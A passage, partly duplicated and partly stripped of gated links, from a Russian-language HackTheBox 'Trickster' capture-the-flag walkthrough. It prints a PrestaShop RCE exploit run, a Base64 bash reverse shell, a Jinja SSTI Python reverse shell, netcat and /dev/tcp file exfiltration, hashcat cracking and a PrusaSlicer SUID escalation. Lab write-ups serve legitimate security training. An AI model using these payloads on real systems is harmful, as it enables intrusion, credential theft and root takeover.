stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу разные методы побега из Docker, которые могут использоваться при пентестах. Также мы проэксплуатируем баг в движке интернет‑магазина PrestaShop и используем уязвимость SSTI в сервисе ChangeDetection.
Наша цель — получение прав суперпользователя на машине Trickster с учебной площадки Для просмотра ссылки Войдиили Зарегистрируйся. Уровень сложности задания — средний.
10.10.11.34 trickster.htb
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войдиили Зарегистрируйся
Сканер нашел два открытых порта:
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Обновим запись в файле /etc/hosts, а затем обновим и страницу в браузере.
Для просмотра ссылки Войдиили Зарегистрируйся
На сайте ничего интересного найти не удалось, поэтому поищем, нет ли скрытых страниц и каталогов.
или Зарегистрируйся, Для просмотра ссылки Войди или Зарегистрируйся или Для просмотра ссылки Войди или Зарегистрируйся. Я предпочитаю Для просмотра ссылки Войди или Зарегистрируйся.
При запуске указываем следующие параметры:
Для просмотра ссылки Войдиили Зарегистрируйся
Среди каталогов видим .git, и это отличная находка для атакующего! С помощью Для просмотра ссылки Войдиили Зарегистрируйся попробуем сдампить репозиторий.
Для просмотра ссылки Войдиили Зарегистрируйся
В репозитории всего один коммит, а значит, стоит заглянуть в исходный код. Это похоже на какую‑то CMS, причем с очень интересным каталогом админки: /admin634ewutrx1jgitlooaj.
Для просмотра ссылки Войдиили Зарегистрируйся
Переходим к админке и видим, что имеем дело с PrestaShop версии 8.1.5.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся».
Для просмотра ссылки Войдиили Зарегистрируйся
Из Google быстро узнаём, что PrestaShop 8.1.5 уязвима к Для просмотра ссылки Войдиили Зарегистрируйся и атака может привести к удаленному выполнению кода. Работает это так: если на страницу /contact-us отправить вложение в формате PNG со встроенным кодом на JavaScript, то при просмотре в браузере код выполнится. С помощью кода на JS выполняется запрос к панели администрирования:
В результате импортируется модуль с PHP-нагрузкой, которая приводит к RCE. Все это уже реализовано в Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
Однако для эксплуатации нужно указать почтовый адрес. Его найдем на странице интернет‑магазина.
Для просмотра ссылки Войдиили Зарегистрируйся
Запускаем эксплоит, указав необходимые параметры, и через несколько секунд получаем сессию пользователя Linux на веб‑сервере.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Чтобы работать с базой данных, нужна интерактивная командная оболочка. Для этого запускаем листенер (pwncat-cs -lp 4321) и выполняем обычный реверс‑шелл, закодированный в Base64.
Когда сессия pwncat будет создана, подключимся к MySQL и просмотрим, какие есть базы данных.
Для просмотра ссылки Войди или Зарегистрируйся
Нас интересует база prestashop, получим из нее таблицы.
use prestashop;
show tables;
Для просмотра ссылки Войдиили Зарегистрируйся
Скорее всего, нам нужна таблица ps_employee. Получим все данные из нее.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь у нас на руках два хеша bcrypt. Отправляем хеш пользователя james в hashcat на перебор по словарю.
hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Утилита не распознала алгоритм хеширования и предложила несколько вариантов.
Для просмотра ссылки Войдиили Зарегистрируйся
Снова запустим hashcat, но в этот раз указываем режим 3200.
Для просмотра ссылки Войдиили Зарегистрируйся
У пользователя, пароль которого мы получили, есть командная оболочка в системе.
Для просмотра ссылки Войдиили Зарегистрируйся
Авторизуемся по SSH и забираем первый флаг.
Для просмотра ссылки Войдиили Зарегистрируйся
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим ему право на выполнение и запустим сканирование. В выводе много информации, но выделить что‑то особенное не удалось. Однако на хосте работают Docker-контейнеры, поэтому мы можем просканировать сеть с интерфейса docker0.
Для просмотра ссылки Войдиили Зарегистрируйся
Загружаем на хост бинарь Для просмотра ссылки Войдиили Зарегистрируйся и определяем в сети живые хосты.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь сканируем первые 10 000 портов на хосте 172.17.0.2.
Для просмотра ссылки Войдиили Зарегистрируйся
И находим среди них всего один открытый. Чтобы получить к нему доступ, нам нужно будет «прокинуть» порт 5000 на свой хост с помощью SSH.
В результате весь трафик, который мы пошлем на локальный порт 5000, будет туннелирован на порт 5000 указанного хоста (в данном случае 172.17.0.2) через SSH-хост.
Теперь просмотрим сайт через браузер. Нас встречает страница авторизации ChangeDetection 0.45.20.
Для просмотра ссылки Войдиили Зарегистрируйся
А раз мы снова столкнулись с каким‑то хоть сколько‑то популярным софтом и знаем его версию, нужно сразу поискать, нет ли для него известных уязвимостей.
Для просмотра ссылки Войдиили Зарегистрируйся
Так мы узнаём, что в нашей версии ChangeDetection есть уязвимость SSTI — включения шаблонов на стороне сервера.
Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, а была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Для эксплуатации нам понадобится авторизоваться на сервисе. У меня это получилось сделать с помощью пароля пользователя james.
Для просмотра ссылки Войдиили Зарегистрируйся
Перейдем к изменению любой из записей. Нас интересуют настройки Notifications. Указываем URL, заголовок уведомления и нагрузку SSTI с реверс‑шеллом — в тексте уведомления.
Затем запускаем листенер у себя (снова pwncat-cs -lp 4321) и отправляем уведомление в тестовом режиме. В окне листенера получаем привилегированную сессию в контейнере Docker.
Для просмотра ссылки Войдиили ЗарегистрируйсяДля просмотра ссылки Войди или Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Чтобы получить файл из удаленного контейнера, можем использовать netcat. Для этого вывод с netcat на локальной машине перенаправляем в файл.
В контейнере же содержимое файла направляем в соответствующий сокет.
Так сохраняем архив на локальную машину и находим какой‑то файл .txt.br.
Для просмотра ссылки Войдиили Зарегистрируйся
Это формат Brotli, который можно преобразовать на онлайновом сервисе Для просмотра ссылки Войдиили Зарегистрируйся.
Для просмотра ссылки Войдиили Зарегистрируйся
В декодированном файле находим учетные данные пользователя adam.
Для просмотра ссылки Войдиили Зарегистрируйся
С полученными учетными данными удается подключиться по SSH.
Для просмотра ссылки Войдиили Зарегистрируйся
Для просмотра ссылки Войдиили Зарегистрируйся
Приложение /opt/PrusaSlicer/prusaslicer можно выполнять в привилегированном контексте без ввода пароля. Сразу проверим, нет ли для этой утилиты эксплоитов или техник GTFOBins.
Для просмотра ссылки Войдиили Зарегистрируйся
Узнаём, что в PrusaSlicer 2.6.1 есть RCE — уязвимость выполнения произвольного кода. Проверим версию утилиты на хосте.
Для просмотра ссылки Войдиили Зарегистрируйся
На хосте как раз подходящая версия, поэтому разберемся с уязвимостью. Как следует из Для просмотра ссылки Войдиили Зарегистрируйся, файл проекта PrusaSlicer 3mf представляет собой ZIP-архив и содержит файл Metadata/Slic3r_PE.config с настройками проекта. Для просмотра ссылки Войди или Зарегистрируйся указывает команду постобработки проекта, которая выполнится в терминале при экспорте G-кода.
Для просмотра ссылки Войдиили Зарегистрируйся
Я поискал в интернете примеры файлов 3mf и использовал Для просмотра ссылки Войдиили Зарегистрируйся. Распаковываем ZIP, открываем файл Metadata/Slic3r_PE.config, находим настройку post_process и записываем туда команду chmod u+s /bin/bash. Она назначит S-бит файлу командной оболочки bash.
Для просмотра ссылки Войдиили Зарегистрируйся
Архивируем проект обратно, копируем его файл на удаленный сервер и выполняем экспорт G-кода, конечно же, через sudo. После завершения работы утилиты обнаружим, что файл /bin/bash получил S-бит.
Для просмотра ссылки Войдиили Зарегистрируйся
Теперь мы можем запустить новую оболочку от имени пользователя root.
Для просмотра ссылки Войдиили Зарегистрируйся
Машина захвачена!
Наша цель — получение прав суперпользователя на машине Trickster с учебной площадки Для просмотра ссылки Войди
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.34 trickster.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Для просмотра ссылки Войди
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Apache 2.4.52.
Для просмотра ссылки Войди
Точка входа
Сайт одностраничный, поэтому все ссылки в меню нерабочие, кроме последней, которая ведет на другой домен — shop.trickster.htb.Для просмотра ссылки Войди
Обновим запись в файле /etc/hosts, а затем обновим и страницу в браузере.
10.10.11.34 trickster.htb shop.trickster.htb
Для просмотра ссылки Войди
На сайте ничего интересного найти не удалось, поэтому поищем, нет ли скрытых страниц и каталогов.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде Для просмотра ссылки ВойдиПри запуске указываем следующие параметры:
- -u — URL;
- -w — словарь (я использую словари из набора Для просмотра ссылки Войди
или Зарегистрируйся); - -t — количество потоков;
- -d — глубина сканирования.
feroxbuster -u http://shop.trickster.htb -w files_interesting.txt -d 1 -t 128
Для просмотра ссылки Войди
Среди каталогов видим .git, и это отличная находка для атакующего! С помощью Для просмотра ссылки Войди
git-dumper http://shop.trickster.htb/.git/ ./shop/
Для просмотра ссылки Войди
В репозитории всего один коммит, а значит, стоит заглянуть в исходный код. Это похоже на какую‑то CMS, причем с очень интересным каталогом админки: /admin634ewutrx1jgitlooaj.
Для просмотра ссылки Войди
Переходим к админке и видим, что имеем дело с PrestaShop версии 8.1.5.
Для просмотра ссылки Войди
info
Об атаке на PrestaShop в рамках реального пентеста читай в статье «Для просмотра ссылки ВойдиТочка опоры
Давай посмотрим, есть ли для этой версии PrestaShop готовые эксплоиты.Для просмотра ссылки Войди
Из Google быстро узнаём, что PrestaShop 8.1.5 уязвима к Для просмотра ссылки Войди
/admin/index.php/improve/design/themes/import
В результате импортируется модуль с PHP-нагрузкой, которая приводит к RCE. Все это уже реализовано в Для просмотра ссылки Войди
Для просмотра ссылки Войди
Однако для эксплуатации нужно указать почтовый адрес. Его найдем на странице интернет‑магазина.
Для просмотра ссылки Войди
Запускаем эксплоит, указав необходимые параметры, и через несколько секунд получаем сессию пользователя Linux на веб‑сервере.
python3 exploit.py --url http://shop.trickster.htb --email admin@trickster.htb --local-ip 10.10.16.37 --admin-path admin634ewutrx1jgitlooaj
Для просмотра ссылки Войди
Продвижение
Пользователь james
Так как мы работаем от имени службы веб‑сервера и на нем развернуто веб‑приложение, попробуем получить максимальное количество учетных данных. Первым делом просмотрим файл, в котором обычно содержится информация для подключения к базе данных.
cat /var/www/prestashop/app/config/parameters.php
Для просмотра ссылки Войди
Чтобы работать с базой данных, нужна интерактивная командная оболочка. Для этого запускаем листенер (pwncat-cs -lp 4321) и выполняем обычный реверс‑шелл, закодированный в Base64.
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4zNy80MzIxIDA+JjE= | base64 -d | bash
Когда сессия pwncat будет создана, подключимся к MySQL и просмотрим, какие есть базы данных.
Код:
mysql -h 127.0.0.1 -u ps_user -p'prest@shop_o'
show databases;
Нас интересует база prestashop, получим из нее таблицы.
use prestashop;
show tables;
Для просмотра ссылки Войди
Скорее всего, нам нужна таблица ps_employee. Получим все данные из нее.
select * from ps_employee;
Для просмотра ссылки Войди
Теперь у нас на руках два хеша bcrypt. Отправляем хеш пользователя james в hashcat на перебор по словарю.
hashcat '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Утилита не распознала алгоритм хеширования и предложила несколько вариантов.
Для просмотра ссылки Войди
Снова запустим hashcat, но в этот раз указываем режим 3200.
hashcat -m 3200 '$2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm' rockyou.txt
Для просмотра ссылки Войди
У пользователя, пароль которого мы получили, есть командная оболочка в системе.
cat /etc/passwd | grep bash
Для просмотра ссылки Войди
Авторизуемся по SSH и забираем первый флаг.
Для просмотра ссылки Войди
RCE in Docker
Теперь нам необходимо собрать информацию. Я обычно использую для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим ему право на выполнение и запустим сканирование. В выводе много информации, но выделить что‑то особенное не удалось. Однако на хосте работают Docker-контейнеры, поэтому мы можем просканировать сеть с интерфейса docker0.
Для просмотра ссылки Войди
Загружаем на хост бинарь Для просмотра ссылки Войди
./nmap 172.17.0.1/24 -sn
Для просмотра ссылки Войди
Теперь сканируем первые 10 000 портов на хосте 172.17.0.2.
./nmap -p 1-10000 172.17.0.2
Для просмотра ссылки Войди
И находим среди них всего один открытый. Чтобы получить к нему доступ, нам нужно будет «прокинуть» порт 5000 на свой хост с помощью SSH.
ssh -L 5000:172.17.0.2:5000 james@trickster.htb
В результате весь трафик, который мы пошлем на локальный порт 5000, будет туннелирован на порт 5000 указанного хоста (в данном случае 172.17.0.2) через SSH-хост.
Теперь просмотрим сайт через браузер. Нас встречает страница авторизации ChangeDetection 0.45.20.
Для просмотра ссылки Войди
А раз мы снова столкнулись с каким‑то хоть сколько‑то популярным софтом и знаем его версию, нужно сразу поискать, нет ли для него известных уязвимостей.
Для просмотра ссылки Войди
Так мы узнаём, что в нашей версии ChangeDetection есть уязвимость SSTI — включения шаблонов на стороне сервера.
Справка: Server-Side Template Injection
Server-Side Template Injection (SSTI), или инъекция шаблонов на стороне сервера, — это механизм атаки, при котором злоумышленник внедряет в шаблон вредоносный код. Шаблоны нужны веб‑разработчикам, чтобы можно было настраивать внешний вид сайта только в одном месте и затем не копировать вручную. По сути, шаблон — это документ HTML, где в нужных местах отмечены переменные и команды, которые при генерации итоговой страницы будут заменены данными. В том числе это могут быть и данные, полученные от посетителя сайта.Атака затрагивает момент, когда присланная информация объединяется с шаблоном. Злоумышленник формирует строку таким образом, чтобы она не просто подставилась в шаблон, а была интерпретирована как код. Если это возможно, то он добавит свои директивы, с помощью которых выполнит эксфильтрацию данных или даже захват веб‑сервера.
Для эксплуатации нам понадобится авторизоваться на сервисе. У меня это получилось сделать с помощью пароля пользователя james.
Для просмотра ссылки Войди
Перейдем к изменению любой из записей. Нас интересуют настройки Notifications. Указываем URL, заголовок уведомления и нагрузку SSTI с реверс‑шеллом — в тексте уведомления.
{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.37",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'') }}
Затем запускаем листенер у себя (снова pwncat-cs -lp 4321) и отправляем уведомление в тестовом режиме. В окне листенера получаем привилегированную сессию в контейнере Docker.
Для просмотра ссылки Войди
Docker credentials dumping
У нас рут в «Докере», а значит, нужно изучить, что есть в файловой системе. В каталоге /datastore/Backups находим бэкапы ChangeDetection.Для просмотра ссылки Войди
Чтобы получить файл из удаленного контейнера, можем использовать netcat. Для этого вывод с netcat на локальной машине перенаправляем в файл.
nc -l -p 4444 -q 1 > changedetection-backup-20240830194841.zip
В контейнере же содержимое файла направляем в соответствующий сокет.
cat changedetection-backup-20240830194841.zip > /dev/tcp/10.10.16.37/4444
Так сохраняем архив на локальную машину и находим какой‑то файл .txt.br.
Для просмотра ссылки Войди
Это формат Brotli, который можно преобразовать на онлайновом сервисе Для просмотра ссылки Войди
Для просмотра ссылки Войди
В декодированном файле находим учетные данные пользователя adam.
Для просмотра ссылки Войди
С полученными учетными данными удается подключиться по SSH.
Для просмотра ссылки Войди
Локальное повышение привилегий
Разведку мы уже проводили, поэтому остается не так много интересных мест, которые можно проверить в поисках пути для повышения привилегий. Первое из них — это файл sudoers. Просматриваем его через sudo -l.Для просмотра ссылки Войди
Приложение /opt/PrusaSlicer/prusaslicer можно выполнять в привилегированном контексте без ввода пароля. Сразу проверим, нет ли для этой утилиты эксплоитов или техник GTFOBins.
Для просмотра ссылки Войди
Узнаём, что в PrusaSlicer 2.6.1 есть RCE — уязвимость выполнения произвольного кода. Проверим версию утилиты на хосте.
Для просмотра ссылки Войди
На хосте как раз подходящая версия, поэтому разберемся с уязвимостью. Как следует из Для просмотра ссылки Войди
Для просмотра ссылки Войди
Я поискал в интернете примеры файлов 3mf и использовал Для просмотра ссылки Войди
Для просмотра ссылки Войди
Архивируем проект обратно, копируем его файл на удаленный сервер и выполняем экспорт G-кода, конечно же, через sudo. После завершения работы утилиты обнаружим, что файл /bin/bash получил S-бит.
sudo /opt/PrusaSlicer/prusaslicer -s skull_2.3mf
Для просмотра ссылки Войди
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.Теперь мы можем запустить новую оболочку от имени пользователя root.
Для просмотра ссылки Войди
Машина захвачена!